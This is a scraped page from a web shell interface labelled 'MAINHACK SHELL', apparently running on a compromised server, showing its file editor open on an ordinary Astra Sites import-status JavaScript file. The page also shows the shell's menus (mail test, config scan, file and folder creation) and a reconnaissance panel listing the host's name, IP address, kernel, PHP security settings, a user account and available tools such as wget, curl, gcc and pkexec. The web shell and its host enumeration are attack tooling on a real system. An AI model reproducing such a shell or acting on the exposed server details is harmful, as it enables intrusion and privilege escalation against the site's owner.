[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: import-status.js
( function ( $ ) { AstraSitesImportStatus = { timer: null, ajax_in_process: false, current_step: null, interval: $( '.astra-sites-import-screen' ).length ? 1000 : 10000, /** * Init */ init: function () { this.start(); }, /** * Start */ start: function () { AstraSitesImportStatus.timer = setInterval( AstraSitesImportStatus.check_status, AstraSitesImportStatus.interval ); }, /** * Check Status */ check_status: function () { if ( false === AstraSitesImportStatus.ajax_in_process ) { AstraSitesImportStatus.ajax_in_process = true; AstraSitesImportStatus._ajax_request(); } }, /** * Ajax Request */ _ajax_request: function () { $.ajax( { url: AstraSitesImportStatusVars.ajaxurl, type: 'POST', data: { action: 'astra_sites_check_import_status', _ajax_nonce: AstraSitesImportStatusVars._ajax_nonce, }, } ) .done( function ( result ) { AstraSitesImportStatus.ajax_in_process = false; // Admin Bar UI markup. if ( 'complete' === result.data.response.step || 'fail' === result.data.response.step ) { AstraSitesImportStatus.stop(); var response_message = '<span class="dashicons dashicons-no-alt"></span> Site Import Failed'; if ( 'complete' === result.data.response.step ) { response_message = '<span class="dashicons dashicons-yes"></span>' + response_message; } $( '#astra-sites-import-status-admin-bar' ).html( response_message ); } else { $( '#astra-sites-import-status-admin-bar' ).html( '<span class="loading"></span>' + result.data.response.message ); } // Admin page UI markup. var currentStep = $( '.import-step[data-step="' + result.data.response.step + '"]' ); if ( currentStep.length ) { if ( 'complete' === result.data.response.step || 'fail' === result.data.response.step ) { $( '.import-step' ) .removeClass( 'processing' ) .addClass( 'success' ); } else if ( AstraSitesImportStatus.current_step !== result.data.response.step ) { AstraSitesImportStatus.current_step = result.data.response.step; currentStep .prevAll() .removeClass( 'processing' ) .addClass( 'success' ); currentStep.addClass( 'processing' ); } } } ) .fail( function ( err ) { AstraSitesImportStatus.ajax_in_process = false; // Stop. AstraSitesImportStatus.stop(); } ); }, /** * Step */ stop: function () { clearInterval( AstraSitesImportStatus.timer ); }, }; /** * Initialize AstraSitesImportStatus */ $( function () { AstraSitesImportStatus.init(); } ); } )( jQuery );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 215.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042